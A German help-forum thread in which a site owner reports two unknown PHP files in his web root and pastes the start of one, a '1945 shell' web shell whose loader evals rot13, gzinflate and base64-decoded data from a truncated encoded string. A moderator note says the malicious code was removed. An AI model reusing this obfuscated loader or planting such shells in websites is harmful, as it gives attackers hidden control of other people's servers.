• Hallo,
    habe 2 Dateien im Rootverzeichnis die laut zeitstempel vor 5 Tagen eingefügt wurden:
    a1a1a1a.php und i.php
    Erstere hat folgenden Inhalt:

    <?php
    // 1945 shell , c0ded by : shutdown57
    // for update   : http://pastebin.com/ZA04jg7A 
    // more info    : www.withoutshadow.org | wos-linuxers.blogspot.com
    // contact      : woslinuxers57799@gmail.com
    // LIMITED AND COMPRESSED EDITION
    error_reporting(0);
    set_time_limit(0);
    session_start();
    
    $s57_paswot = "2d00f43f07911355d4151f13925ff292";//default password : 1945
    function AGUSTUS_17_1945($kode){
    @eval(str_rot13(gzinflate(str_rot13(base64_decode($kode)))));
    }
    
    $merdeka="7b17SuO4syj6N71JfweRbo/hNGyQ8AwkPQkQHloHEiA8untmeXA7hODEQW…";
    AGUSTUS_17_1945($merdeka);
    ?>

    Da stimmt doch was nicht, was soll das bedeuten?

    Gruß Andreas

    Moderationshinweis: Schadcode entfernt.

Ansicht von 1 Antwort (von insgesamt 1)
Ansicht von 1 Antwort (von insgesamt 1)
  • Das Thema „Seltsame Dateien im Rootverzeichnis“ ist für neue Antworten geschlossen.